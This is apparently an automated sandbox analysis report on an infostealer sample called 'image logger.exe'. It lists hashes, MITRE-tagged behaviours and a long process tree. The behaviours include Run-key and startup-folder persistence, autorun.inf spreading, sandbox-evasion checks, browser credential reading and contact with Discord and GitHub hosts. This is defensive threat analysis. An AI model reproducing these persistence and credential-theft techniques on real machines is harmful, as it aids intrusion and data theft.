460d7162367e58d918c61a1caa1f687c337287e009ff660ef3b684ea988e770b

Analysis

max time kernel
71s
max time network
160s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
05/06/2024, 17:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
image logger.exe
Size 164.7MB
Sample240605-vh2dysce2w
SHA256 cbf50a95447ebf0a0f0c5bd9408ad2c38ba800dfa4374dd31dcfd4cd5110311e
MD5 f1a993c04c5d358eb746cab771780945
SHA1 ceffc066ec9c45f69ad5ad291f7588b9286737ba
SHA512 0d1d0fd3017aadc760e0eb4c7f8cae9f4c17467a56d4b427a67af2024628ed7ff8388d1eb0fb669b51680a316ee9a3301225417f70608ab26f66fae679e32151
SSDEEP 1572864:63lB0RhDP7igv6wO+HkaN/xtpj56BZWua2T3jC0gqhd07YeRt6C1Bd1jKoUeKtQk:PPvt1x2z5m1ij
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

evasion execution persistence spyware stealer

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
89	5284	Process not Found
90	5284	Process not Found
91	5284	Process not Found
92	5284	Process not Found

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3672	powershell.exe
5772	powershell.exe
6464	powershell.exe
6400	powershell.exe
3040	powershell.exe
5988	powershell.exe
336	powershell.exe
6916	powershell.exe

Disables Task Manager via registry modification
evasion

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	image logger.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\image logger.exe	image logger.exe

Loads dropped DLL 2 IoCs

pid	Process
2648	image logger.exe
2648	image logger.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Start_PN7L9j = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\sysWin10Boot_PN7L9j.vbs"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 24 IoCs

Web Service

T1102

flow	ioc
26	raw.githubusercontent.com
48	raw.githubusercontent.com
57	discord.com
58	discord.com
60	raw.githubusercontent.com
23	raw.githubusercontent.com
50	discord.com
53	raw.githubusercontent.com
56	discord.com
64	raw.githubusercontent.com
71	discord.com
21	raw.githubusercontent.com
51	raw.githubusercontent.com
52	discord.com
54	raw.githubusercontent.com
59	discord.com
46	discord.com
49	discord.com
66	raw.githubusercontent.com
19	raw.githubusercontent.com
20	raw.githubusercontent.com
22	raw.githubusercontent.com
24	raw.githubusercontent.com
25	raw.githubusercontent.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	ipinfo.io
17	ipinfo.io

Drops autorun.inf file 1 TTPs 1 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File created	F:\autorun.inf	image logger.exe

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	image logger.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	image logger.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	image logger.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	image logger.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	image logger.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	image logger.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	image logger.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4704	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1476	WMIC.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4804	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2648	image logger.exe
2648	image logger.exe
2648	image logger.exe
2648	image logger.exe
2648	image logger.exe
2648	image logger.exe
5032	fastlist.exe
5032	fastlist.exe
3868	fastlist.exe
3868	fastlist.exe
3128	fastlist.exe
3128	fastlist.exe
4688	fastlist.exe
4688	fastlist.exe
4216	fastlist.exe
4216	fastlist.exe
2396	fastlist.exe
2396	fastlist.exe
4524	fastlist.exe
4524	fastlist.exe
5100	fastlist.exe
5100	fastlist.exe
4088	fastlist.exe
4792	fastlist.exe
4088	fastlist.exe
4792	fastlist.exe
336	fastlist.exe
3176	fastlist.exe
336	fastlist.exe
3176	fastlist.exe
224	fastlist.exe
4396	fastlist.exe
224	fastlist.exe
4396	fastlist.exe
4012	fastlist.exe
4012	fastlist.exe
3192	fastlist.exe
3192	fastlist.exe
3120	fastlist.exe
3952	fastlist.exe
3120	fastlist.exe
3952	fastlist.exe
3504	fastlist.exe
3504	fastlist.exe
900	fastlist.exe
900	fastlist.exe
4956	fastlist.exe
4956	fastlist.exe
2952	fastlist.exe
2952	fastlist.exe
5072	fastlist.exe
5072	fastlist.exe
4412	fastlist.exe
4412	fastlist.exe
2204	fastlist.exe
2204	fastlist.exe
4748	fastlist.exe
4748	fastlist.exe
1172	fastlist.exe
1172	fastlist.exe
4076	fastlist.exe
4076	fastlist.exe
464	fastlist.exe
464	fastlist.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2648	image logger.exe
Token: SeCreatePagefilePrivilege	2648	image logger.exe
Token: SeIncreaseQuotaPrivilege	3592	WMIC.exe
Token: SeSecurityPrivilege	3592	WMIC.exe
Token: SeTakeOwnershipPrivilege	3592	WMIC.exe
Token: SeLoadDriverPrivilege	3592	WMIC.exe
Token: SeSystemProfilePrivilege	3592	WMIC.exe
Token: SeSystemtimePrivilege	3592	WMIC.exe
Token: SeProfSingleProcessPrivilege	3592	WMIC.exe
Token: SeIncBasePriorityPrivilege	3592	WMIC.exe
Token: SeCreatePagefilePrivilege	3592	WMIC.exe
Token: SeBackupPrivilege	3592	WMIC.exe
Token: SeRestorePrivilege	3592	WMIC.exe
Token: SeShutdownPrivilege	3592	WMIC.exe
Token: SeDebugPrivilege	3592	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3592	WMIC.exe
Token: SeRemoteShutdownPrivilege	3592	WMIC.exe
Token: SeUndockPrivilege	3592	WMIC.exe
Token: SeManageVolumePrivilege	3592	WMIC.exe
Token: 33	3592	WMIC.exe
Token: 34	3592	WMIC.exe
Token: 35	3592	WMIC.exe
Token: 36	3592	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3592	WMIC.exe
Token: SeSecurityPrivilege	3592	WMIC.exe
Token: SeTakeOwnershipPrivilege	3592	WMIC.exe
Token: SeLoadDriverPrivilege	3592	WMIC.exe
Token: SeSystemProfilePrivilege	3592	WMIC.exe
Token: SeSystemtimePrivilege	3592	WMIC.exe
Token: SeProfSingleProcessPrivilege	3592	WMIC.exe
Token: SeIncBasePriorityPrivilege	3592	WMIC.exe
Token: SeCreatePagefilePrivilege	3592	WMIC.exe
Token: SeBackupPrivilege	3592	WMIC.exe
Token: SeRestorePrivilege	3592	WMIC.exe
Token: SeShutdownPrivilege	3592	WMIC.exe
Token: SeDebugPrivilege	3592	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3592	WMIC.exe
Token: SeRemoteShutdownPrivilege	3592	WMIC.exe
Token: SeUndockPrivilege	3592	WMIC.exe
Token: SeManageVolumePrivilege	3592	WMIC.exe
Token: 33	3592	WMIC.exe
Token: 34	3592	WMIC.exe
Token: 35	3592	WMIC.exe
Token: 36	3592	WMIC.exe
Token: SeShutdownPrivilege	2648	image logger.exe
Token: SeCreatePagefilePrivilege	2648	image logger.exe
Token: SeIncreaseQuotaPrivilege	6156	WMIC.exe
Token: SeSecurityPrivilege	6156	WMIC.exe
Token: SeTakeOwnershipPrivilege	6156	WMIC.exe
Token: SeLoadDriverPrivilege	6156	WMIC.exe
Token: SeSystemProfilePrivilege	6156	WMIC.exe
Token: SeSystemtimePrivilege	6156	WMIC.exe
Token: SeProfSingleProcessPrivilege	6156	WMIC.exe
Token: SeIncBasePriorityPrivilege	6156	WMIC.exe
Token: SeCreatePagefilePrivilege	6156	WMIC.exe
Token: SeBackupPrivilege	6156	WMIC.exe
Token: SeRestorePrivilege	6156	WMIC.exe
Token: SeShutdownPrivilege	6156	WMIC.exe
Token: SeDebugPrivilege	6156	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6156	WMIC.exe
Token: SeRemoteShutdownPrivilege	6156	WMIC.exe
Token: SeUndockPrivilege	6156	WMIC.exe
Token: SeManageVolumePrivilege	6156	WMIC.exe
Token: 33	6156	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2648 wrote to memory of 5032	2648	image logger.exe	201
PID 2648 wrote to memory of 5032	2648	image logger.exe	201
PID 2648 wrote to memory of 5032	2648	image logger.exe	201
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 1532	2648	image logger.exe	89
PID 2648 wrote to memory of 2128	2648	image logger.exe	90
PID 2648 wrote to memory of 2128	2648	image logger.exe	90
PID 2648 wrote to memory of 5076	2648	image logger.exe	91
PID 2648 wrote to memory of 5076	2648	image logger.exe	91
PID 5076 wrote to memory of 3592	5076	cmd.exe	210
PID 5076 wrote to memory of 3592	5076	cmd.exe	210
PID 2648 wrote to memory of 3868	2648	image logger.exe	94
PID 2648 wrote to memory of 3868	2648	image logger.exe	94
PID 2648 wrote to memory of 3868	2648	image logger.exe	94
PID 2648 wrote to memory of 4688	2648	image logger.exe	95
PID 2648 wrote to memory of 4688	2648	image logger.exe	95
PID 2648 wrote to memory of 4688	2648	image logger.exe	95
PID 2648 wrote to memory of 3128	2648	image logger.exe	96
PID 2648 wrote to memory of 3128	2648	image logger.exe	96
PID 2648 wrote to memory of 3128	2648	image logger.exe	96
PID 2648 wrote to memory of 4216	2648	image logger.exe	98
PID 2648 wrote to memory of 4216	2648	image logger.exe	98
PID 2648 wrote to memory of 4216	2648	image logger.exe	98
PID 2648 wrote to memory of 2396	2648	image logger.exe	99
PID 2648 wrote to memory of 2396	2648	image logger.exe	99
PID 2648 wrote to memory of 2396	2648	image logger.exe	99
PID 2648 wrote to memory of 4524	2648	image logger.exe	101
PID 2648 wrote to memory of 4524	2648	image logger.exe	101
PID 2648 wrote to memory of 4524	2648	image logger.exe	101
PID 2648 wrote to memory of 4792	2648	image logger.exe	102
PID 2648 wrote to memory of 4792	2648	image logger.exe	102
PID 2648 wrote to memory of 4792	2648	image logger.exe	102
PID 2648 wrote to memory of 336	2648	image logger.exe	104
PID 2648 wrote to memory of 336	2648	image logger.exe	104
PID 2648 wrote to memory of 336	2648	image logger.exe	104
PID 2648 wrote to memory of 5100	2648	image logger.exe	105

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4984	attrib.exe

C:\Users\Admin\AppData\Local\Temp\image logger.exe
"C:\Users\Admin\AppData\Local\Temp\image logger.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Loads dropped DLL
- Drops autorun.inf file
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2648
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5032
- C:\Users\Admin\AppData\Local\Temp\image logger.exe
  "C:\Users\Admin\AppData\Local\Temp\image logger.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\enjeten" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1736 --field-trial-handle=1740,i,14690361881784564733,11634821681727065513,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
  2⤵
  PID:1532
- C:\Users\Admin\AppData\Local\Temp\image logger.exe
  "C:\Users\Admin\AppData\Local\Temp\image logger.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\enjeten" --mojo-platform-channel-handle=2184 --field-trial-handle=1740,i,14690361881784564733,11634821681727065513,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
  2⤵
  PID:2128
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic process where processid=2648 get ExecutablePath"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5076
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic process where processid=2648 get ExecutablePath
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3592
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3868
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4688
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3128
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4216
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2396
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4524
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4792
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:336
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5100
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4748
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1172
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3120
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3176
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3912
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3368
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4088
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3504
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3144
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3180
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3952
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2952
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:224
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5072
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4012
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2204
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4624
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:1784
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4076
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3192
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5004
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4952
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:2072
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5016
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:1148
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3876
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3796
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4084
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4396
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5032
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4536
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3172
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:544
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4508
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3532
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4960
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:1136
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3696
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:512
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3612
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5096
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4412
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:1552
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4480
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:1528
